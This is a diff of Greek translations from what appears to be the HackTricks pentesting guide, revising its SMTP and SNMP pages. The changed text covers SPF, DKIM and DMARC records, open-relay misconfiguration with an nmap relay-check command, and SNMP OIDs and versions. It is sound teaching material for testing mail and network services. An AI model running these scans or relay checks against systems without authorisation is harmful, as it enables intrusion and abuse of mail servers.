| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς. | | ALL | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με τους προηγούμενους μηχανισμούς. |
| A | Αν το όνομα τομέα έχει μια εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει. | | A | Αν το όνομα τομέα έχει μια εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει. |
| IP4 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv4, ταιριάζει. | | IP4 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv4, ταιριάζει. |
| IP6 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάζει. | | IP6 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάζει. |
| MX | Αν το όνομα τομέα έχει μια εγγραφή MX που επιλύει στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους εισερχόμενους mail servers του τομέα). | | MX | Αν το όνομα τομέα έχει μια εγγραφή MX που επιλύεται στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους εισερχόμενους mail servers του τομέα). |
| PTR | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύει στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. | | PTR | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύεται στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. |
| EXISTS | Αν το δεδομένο όνομα τομέα επιλύει σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία η διεύθυνση στην οποία επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries. | | EXISTS | Αν το δεδομένο όνομα τομέα επιλύεται σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία ποια διεύθυνση επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries. |
| INCLUDE | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. | | INCLUDE | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, θα πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. |
| REDIRECT | <p>Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμη όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του τομέα που υποδεικνύεται στην ανακατεύθυνση θα χρησιμοποιηθεί.</p> | | REDIRECT | <p>Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμη όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του τομέα που υποδεικνύεται στην ανακατεύθυνση θα χρησιμοποιηθεί.</p> |
Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\ Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι θα πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\
Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, θα πρέπει να επισημανθεί το email ως μη αξιόπιστο (\~) ή να απορριφθεί (-) το email.** Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, θα πρέπει να επισημανθεί το email ως μη αξιόπιστο (\~) ή να απορριφθεί (-) το email.**
#### Ποιοτικοί δείκτες #### Ποιοτικοί δείκτες
Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει πρόθεμα έναν από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα: Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει προθετικά ένα από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα:
- **`+`**: Αντιστοιχεί σε ένα αποτέλεσμα PASS. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό δείκτη, κάνοντάς το `+mx` ισοδύναμο με `mx`. - **`+`**: Αντιστοιχεί σε ένα αποτέλεσμα PASS. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό δείκτη, κάνοντάς το `+mx` ισοδύναμο με `mx`.
- **`?`**: Αντιπροσωπεύει ένα αποτέλεσμα NEUTRAL, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική). - **`?`**: Αντιπροσωπεύει ένα αποτέλεσμα NEUTRAL, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική).
- **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος χώρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως. - **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος όρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως.
- **`-`**: Υποδηλώνει FAIL, προτείνοντας ότι το email θα πρέπει να απορριφθεί εντελώς. - **`-`**: Υποδηλώνει FAIL, προτείνοντας ότι το email θα πρέπει να απορριφθεί εντελώς.
Στο επόμενο παράδειγμα, απεικονίζεται η **πολιτική SPF του google.com**. Σημειώστε την συμπερίληψη πολιτικών SPF από διαφορετικούς τομείς εντός της πρώτης πολιτικής SPF: Στο επόμενο παράδειγμα, απεικονίζεται η **πολιτική SPF του google.com**. Σημειώστε την συμπερίληψη πολιτικών SPF από διαφορετικούς τομείς εντός της πρώτης πολιτικής SPF:
@ -294,7 +294,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
Το DKIM χρησιμοποιείται για να υπογράφει τα εξερχόμενα emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται στο TXT record ενός τομέα. Για να αποκτήσετε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλεγέα όσο και το όνομα του τομέα. Το DKIM χρησιμοποιείται για να υπογράφει τα εξερχόμενα emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται στο TXT record ενός τομέα. Για να αποκτήσετε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλεγέα όσο και το όνομα του τομέα.
Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα του email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`. Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`.
Μια εντολή για να ανακτήσετε αυτές τις πληροφορίες μπορεί να μοιάζει με: Μια εντολή για να ανακτήσετε αυτές τις πληροφορίες μπορεί να μοιάζει με:
```bash ```bash
@ -324,40 +324,40 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| Tag Name | Purpose | Sample | | Tag Name | Purpose | Sample |
| -------- | --------------------------------------------- | ------------------------------- | | -------- | --------------------------------------------- | ------------------------------- |
| v | Έκδοση πρωτοκόλλου | v=DMARC1 | | v | Protocol version | v=DMARC1 |
| pct | Ποσοστό μηνυμάτων που υπόκεινται σε φιλτράρισμα | pct=20 | | pct | Percentage of messages subjected to filtering | pct=20 |
| ruf | URI αναφοράς για εγκληματολογικές αναφορές | ruf=mailto:authfail@example.com | | ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com |
| rua | URI αναφοράς για συνοπτικές αναφορές | rua=mailto:aggrep@example.com | | rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com |
| p | Πολιτική για τον οργανωτικό τομέα | p=quarantine | | p | Policy for organizational domain | p=quarantine |
| sp | Πολιτική για υποτομείς του OD | sp=reject | | sp | Policy for subdomains of the OD | sp=reject |
| adkim | Λειτουργία ευθυγράμμισης για DKIM | adkim=s | | adkim | Alignment mode for DKIM | adkim=s |
| aspf | Λειτουργία ευθυγράμμισης για SPF | aspf=r | | aspf | Alignment mode for SPF | aspf=r |
### **Τι γίνεται με τους Υποτομείς;** ### **Τι γίνεται με τα Υποτομείς;**
**Από** [**εδώ**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ **Από** [**εδώ**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Πρέπει να έχετε ξεχωριστές εγγραφές SPF για κάθε υποτομέα από τον οποίο θέλετε να στείλετε email.\ Πρέπει να έχετε ξεχωριστά SPF records για κάθε υποτομέα από τον οποίο θέλετε να στείλετε email.\
Το παρακάτω είχε αρχικά δημοσιευτεί στο openspf.org, το οποίο ήταν μια εξαιρετική πηγή για αυτό το είδος πληροφοριών. Το παρακάτω είχε αρχικά δημοσιευτεί στο openspf.org, το οποίο ήταν μια εξαιρετική πηγή για αυτό το είδος πληροφοριών.
> Η Ερώτηση του Demon: Τι γίνεται με τους υποτομείς; > Η Ερώτηση του Demon: Τι γίνεται με τους υποτομείς;
> >
> Αν λάβω email από pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει εγγραφές SPF για κάθε υποτομέα. > Αν λάβω email από το pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει SPF records για κάθε υποτομέα.
> >
> Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε μια εγγραφή SPF για κάθε υποτομέα ή όνομα υπολογιστή που έχει εγγραφή A ή MX. > Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε ένα SPF record για κάθε υποτομέα ή hostname που έχει A ή MX record.
> >
> Ιστοσελίδες με wildcard A ή MX εγγραφές θα πρέπει επίσης να έχουν μια wildcard SPF εγγραφή, της μορφής: \* IN TXT "v=spf1 -all" > Οι ιστότοποι με wildcard A ή MX records θα πρέπει επίσης να έχουν ένα wildcard SPF record, της μορφής: \* IN TXT "v=spf1 -all"
Αυτό έχει νόημα - ένας υποτομέας μπορεί πολύ καλά να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF. Αυτό έχει νόημα - ένας υποτομέας μπορεί πολύ καλά να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF.
### **Open Relay** ### **Ανοιχτός Διακομιστής Relay**
Όταν αποστέλλονται emails, η διασφάλιση ότι δεν θα χαρακτηριστούν ως spam είναι κρίσιμη. Αυτό συχνά επιτυγχάνεται μέσω της χρήσης ενός **relay server που είναι αξιόπιστος από τον παραλήπτη**. Ωστόσο, μια κοινή πρόκληση είναι ότι οι διαχειριστές μπορεί να μην είναι πλήρως ενήμεροι για ποιες **IP διευθύνσεις είναι ασφαλείς να επιτραπούν**. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του SMTP server, ένας κίνδυνος που συχνά εντοπίζεται σε αξιολογήσεις ασφάλειας. Όταν αποστέλλονται emails, η διασφάλιση ότι δεν θα χαρακτηριστούν ως spam είναι κρίσιμη. Αυτό συχνά επιτυγχάνεται μέσω της χρήσης ενός **διακομιστή relay που είναι αξιόπιστος από τον παραλήπτη**. Ωστόσο, μια κοινή πρόκληση είναι ότι οι διαχειριστές μπορεί να μην είναι πλήρως ενήμεροι για ποιες **IP διευθύνσεις είναι ασφαλείς να επιτραπούν**. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του SMTP server, ένας κίνδυνος που συχνά εντοπίζεται σε αξιολογήσεις ασφάλειας.
Μια λύση που χρησιμοποιούν ορισμένοι διαχειριστές για να αποφύγουν προβλήματα παράδοσης email, ειδικά όσον αφορά τις επικοινωνίες με πιθανούς ή τρέχοντες πελάτες, είναι να **επιτρέπουν συνδέσεις από οποιαδήποτε IP διεύθυνση**. Αυτό γίνεται ρυθμίζοντας την παράμετρο `mynetworks` του SMTP server να αποδέχεται όλες τις IP διευθύνσεις, όπως φαίνεται παρακάτω: Μια λύση που χρησιμοποιούν ορισμένοι διαχειριστές για να αποφύγουν προβλήματα παράδοσης email, ειδικά όσον αφορά τις επικοινωνίες με πιθανούς ή τρέχοντες πελάτες, είναι να **επιτρέπουν συνδέσεις από οποιαδήποτε IP διεύθυνση**. Αυτό γίνεται ρυθμίζοντας την παράμετρο `mynetworks` του SMTP server να αποδέχεται όλες τις IP διευθύνσεις, όπως φαίνεται παρακάτω:
```bash ```bash
mynetworks = 0.0.0.0/0 mynetworks = 0.0.0.0/0
``` ```
Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμεσολαβητής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να δοκιμάσει αυτό. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι: Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμεσολαβητής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να το δοκιμάσει. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι:
```bash ```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v nmap -p25 --script smtp-open-relay 10.10.10.10 -v
``` ```
@ -485,7 +485,7 @@ s.sendmail(sender, [destination], msg_data)
- Υποψίες (ασυνήθιστες) συνημμένες - Υποψίες (ασυνήθιστες) συνημμένες
- Σπασμένο περιεχόμενο email - Σπασμένο περιεχόμενο email
- Τιμές που χρησιμοποιούνται που διαφέρουν από αυτές των κεφαλίδων του email - Τιμές που χρησιμοποιούνται που διαφέρουν από αυτές των κεφαλίδων του email
- Ύπαρξη έγκυρου και αξιόπιστου πιστοποιητικού SSL - Ύπαρξη έγκυρου και αξιόπιστου SSL πιστοποιητικού
- Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου - Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου
## Εξαγωγή μέσω SMTP ## Εξαγωγή μέσω SMTP
@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: | Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -5,7 +5,7 @@
## Basic Information ## Basic Information
**SNMP - Απλό Πρωτόκολλο Διαχείρισης Δικτύου** είναι ένα πρωτόκολλο που χρησιμοποιείται για την παρακολούθηση διαφόρων συσκευών στο δίκτυο (όπως δρομολογητές, διακόπτες, εκτυπωτές, IoTs...). **SNMP - Simple Network Management Protocol** είναι ένα πρωτόκολλο που χρησιμοποιείται για την παρακολούθηση διαφόρων συσκευών στο δίκτυο (όπως δρομολογητές, διακόπτες, εκτυπωτές, IoTs...).
``` ```
PORT STATE SERVICE REASON VERSION PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
@ -15,23 +15,23 @@ PORT STATE SERVICE REASON VERSION
### MIB ### MIB
Για να διασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε η **Management Information Base (MIB)**. Η MIB είναι μια **ανεξάρτητη μορφή αποθήκευσης πληροφοριών συσκευών**. Μια MIB είναι ένα **κείμενο** αρχείο στο οποίο αναφέρονται όλα τα ερωτήσιμα **SNMP αντικείμενα** μιας συσκευής σε μια **τυποποιημένη** ιεραρχία δέντρου. Περιέχει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από τη απαραίτητη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\ Για να διασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε η **Βάση Πληροφοριών Διαχείρισης (MIB)**. Η MIB είναι μια **ανεξάρτητη μορφή αποθήκευσης πληροφοριών συσκευών**. Μια MIB είναι ένα **αρχείο κειμένου** στο οποίο αναφέρονται όλα τα ερωτήσιμα **SNMP αντικείμενα** μιας συσκευής σε μια **τυποποιημένη** ιεραρχία δέντρου. Περιέχει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από τη απαραίτητη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\
Τα αρχεία MIB γράφονται σε μορφή ASCII κειμένου `Abstract Syntax Notation One` (`ASN.1`). Οι **MIBs δεν περιέχουν δεδομένα**, αλλά εξηγούν **πού να βρείτε ποιες πληροφορίες** και πώς φαίνονται, ποιες τιμές επιστρέφουν για το συγκεκριμένο OID ή ποιος τύπος δεδομένων χρησιμοποιείται. Τα αρχεία MIB γράφονται σε μορφή ASCII κειμένου `Abstract Syntax Notation One` (`ASN.1`). Οι **MIBs δεν περιέχουν δεδομένα**, αλλά εξηγούν **πού να βρείτε ποιες πληροφορίες** και πώς φαίνονται, ποιες τιμές επιστρέφουν για το συγκεκριμένο OID ή ποιος τύπος δεδομένων χρησιμοποιείται.
### OIDs ### OIDs
**Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Management Information Base (MIB)**. **Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Βάσης Πληροφοριών Διαχείρισης (MIB)**.
Τα υψηλότερα επίπεδα των MIB object IDs, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και πρότυπα διαχείρισης. Τα υψηλότερα επίπεδα των αναγνωριστικών αντικειμένων MIB, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και τα πρότυπα διαχείρισης.
Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργούν ιδιωτικούς κλάδους. Μέσα σε αυτούς τους κλάδους, έχουν την **αυτονομία να συμπεριλαμβάνουν διαχειριζόμενα αντικείμενα που σχετίζονται με τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα διασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και διαχείριση μιας ευρείας γκάμας αντικειμένων σε διάφορους προμηθευτές και πρότυπα. Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργούν ιδιωτικούς κλάδους. Μέσα σε αυτούς τους κλάδους, έχουν την **αυτονομία να συμπεριλαμβάνουν διαχειριζόμενα αντικείμενα που σχετίζονται με τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα διασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και τη διαχείριση μιας ευρείας γκάμας αντικειμένων σε διάφορους προμηθευτές και πρότυπα.
![](<../../images/SNMP_OID_MIB_Tree (1).png>) ![](<../../images/SNMP_OID_MIB_Tree (1).png>)
Μπορείτε να **πλοηγηθείτε** μέσω ενός **OID δέντρου** από τον ιστό εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή **να δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) επισκεπτόμενοι [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ Μπορείτε να **πλοηγηθείτε** σε ένα **δέντρο OID** από τον ιστό εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή **να δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) αποκτώντας πρόσβαση [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Υπάρχουν μερικά **καλά γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Simple Network Management Protocol (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...) Υπάρχουν μερικά **γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Πρωτοκόλλου Απλής Διαχείρισης Δικτύου (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...)
### **OID Παράδειγμα** ### **Παράδειγμα OID**
[**Παράδειγμα από εδώ**](https://www.netadmintools.com/snmp-mib-and-oids/): [**Παράδειγμα από εδώ**](https://www.netadmintools.com/snmp-mib-and-oids/):
@ -39,7 +39,7 @@ PORT STATE SERVICE REASON VERSION
Ακολουθεί μια ανάλυση αυτής της διεύθυνσης. Ακολουθεί μια ανάλυση αυτής της διεύθυνσης.
- 1 αυτό ονομάζεται ISO και καθορίζει ότι αυτό είναι ένα OID. Γι' αυτό όλοι οι OIDs ξεκινούν με “1” - 1 αυτό ονομάζεται ISO και καθορίζει ότι αυτό είναι ένα OID. Γι' αυτό όλοι οι OIDs ξεκινούν με "1"
- 3 αυτό ονομάζεται ORG και χρησιμοποιείται για να προσδιορίσει τον οργανισμό που κατασκεύασε τη συσκευή. - 3 αυτό ονομάζεται ORG και χρησιμοποιείται για να προσδιορίσει τον οργανισμό που κατασκεύασε τη συσκευή.
- 6 αυτό είναι το dod ή το Υπουργείο Άμυνας, το οποίο είναι ο οργανισμός που καθόρισε πρώτος το Διαδίκτυο. - 6 αυτό είναι το dod ή το Υπουργείο Άμυνας, το οποίο είναι ο οργανισμός που καθόρισε πρώτος το Διαδίκτυο.
- 1 αυτή είναι η τιμή του διαδικτύου για να δηλώσει ότι όλες οι επικοινωνίες θα γίνονται μέσω του Διαδικτύου. - 1 αυτή είναι η τιμή του διαδικτύου για να δηλώσει ότι όλες οι επικοινωνίες θα γίνονται μέσω του Διαδικτύου.
@ -64,27 +64,27 @@ PORT STATE SERVICE REASON VERSION
- 4 αριθμός σημείου - 4 αριθμός σημείου
- 7 κατάσταση του σημείου - 7 κατάσταση του σημείου
### SNMP Versions ### Εκδόσεις SNMP
Υπάρχουν 2 σημαντικές εκδόσεις του SNMP: Υπάρχουν 2 σημαντικές εκδόσεις του SNMP:
- **SNMPv1**: Η κύρια, είναι ακόμα η πιο συχνή, η **αυθεντικοποίηση βασίζεται σε μια συμβολοσειρά** (community string) που ταξιδεύει σε **καθαρό κείμενο** (όλες οι πληροφορίες ταξιδεύουν σε καθαρό κείμενο). Οι **Εκδόσεις 2 και 2c** στέλνουν επίσης την **κίνηση σε καθαρό κείμενο** και χρησιμοποιούν μια **community string ως αυθεντικοποίηση**. - **SNMPv1**: Η κύρια, είναι ακόμα η πιο συχνή, η **αυθεντικοποίηση βασίζεται σε μια συμβολοσειρά** (community string) που ταξιδεύει σε **καθαρό κείμενο** (όλες οι πληροφορίες ταξιδεύουν σε καθαρό κείμενο). **Η Έκδοση 2 και 2c** στέλνουν επίσης την **κίνηση σε καθαρό κείμενο** και χρησιμοποιούν μια **συμβολοσειρά κοινότητας ως αυθεντικοποίηση**.
